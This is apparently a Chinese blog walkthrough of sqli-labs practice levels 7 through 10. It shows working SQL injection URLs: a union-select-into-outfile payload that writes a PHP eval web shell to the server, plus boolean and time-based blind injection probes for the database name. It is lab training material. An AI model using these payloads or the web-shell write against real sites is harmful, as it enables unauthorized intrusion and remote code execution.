- Less-7
这题主要考察outfile语句的用法,但是由于mysql对文件的权限限制很严格,原来打算将文件写入到Less-7这题的路径下,因为权限问题失败了,所以写到了/var/lib/mysql路径下。
该路径可在mysql中使用show variables like "datadir"
语句查看
构造url:
http://sqli-labs.whye.xyz/Less-7/?id=1')) union select 1,2,"<?php @eval(_POST['cmd']); ?>" into outfile '/var/lib/mysql/3.php' --+
然后到/var/lib/mysql路径下查看,出现了3.php文件,查看内容:
![](https://img.haomeiwen.com/i14417137/ed63dedcceebc9f5.png)
写入成功
- Less-8
布尔注入
构造url:
http://sqli-labs.whye.xyz/Less-8/?id=1' and length((select database()))=8--+
成功回显,可知当前使用的数据库名为8位,构造url:
http://sqli-labs.whye.xyz/Less-8/?id=1' and substr((select database()),1,1)>'a'--+
成功回显,可以数据库名第一位>'a',用二分法可探测出整个数据库名,然后继续探测表名,列名,字段值。但太麻烦没有手工注,需要用脚本。但既然要用脚本,那为什么不sqlmap一把梭呢。
- Less-9
时间盲注
构造url:
http://sqli-labs.whye.xyz/Less-9/?id=0' or if ((length(database())=8),sleep(1),1)--+
发现页面载入时间延迟1秒,if语句为真,database()数据库名长度为8。
其他和Less-8相同,将条件写在if语句中,返回页面有延迟则为真,否则为假。
- Less-10
和Less-9相同,单引号改双引号即可
网友评论